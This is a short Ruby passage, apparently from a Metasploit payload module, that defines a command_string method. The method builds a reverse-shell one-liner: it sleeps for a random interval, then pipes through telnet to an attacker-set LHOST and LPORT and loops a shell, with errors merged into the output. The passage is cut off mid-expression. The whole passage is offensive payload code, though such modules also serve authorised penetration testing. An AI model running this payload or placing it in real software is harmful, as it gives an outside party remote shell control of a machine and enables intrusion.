def command_string
    cmd =
      "#{datastore['ShellPath']} -c '(sleep #{3600+rand(1024)}|" +
        "#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}|" +
        "while : ; do #{datastore['ShellPath']} && break; done 2>&1|" +